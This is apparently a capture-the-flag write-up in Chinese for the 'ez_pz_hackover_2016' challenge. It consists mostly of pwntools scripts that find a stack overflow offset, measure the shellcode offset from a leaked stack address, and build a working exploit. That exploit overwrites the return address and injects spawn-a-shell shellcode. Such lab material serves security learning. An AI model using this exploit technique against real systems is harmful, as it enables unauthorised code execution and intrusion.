测试栈溢出偏移量
from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
payload = 'crashme\x00' + 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa'
gdb.attach(p,'b *0x08048601')
p.sendline(payload)
cyclic -l 0x61666161
18+8 = 26
测试shellcode偏移
from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') + asm(shellcraft.sh())
gdb.attach(p,'b *0x08048601')
p.sendline(payload)
0xfff79f7c - 0xfff79f5c + 4 =28
payload如下:
from pwn import *
p = process('./ez_pz_hackover_2016')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./ez_pz_hackover_2016')
context.log_level = 'debug'
context.arch = elf.arch
p.recvuntil('Yippie, lets crash: 0x')
retaddr = int(p.recv(8),16)
log.success(hex(retaddr))
p.recvuntil('>')
payload = 'crashme\x00'.ljust(26, '\x00') +p32(retaddr - 28) + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()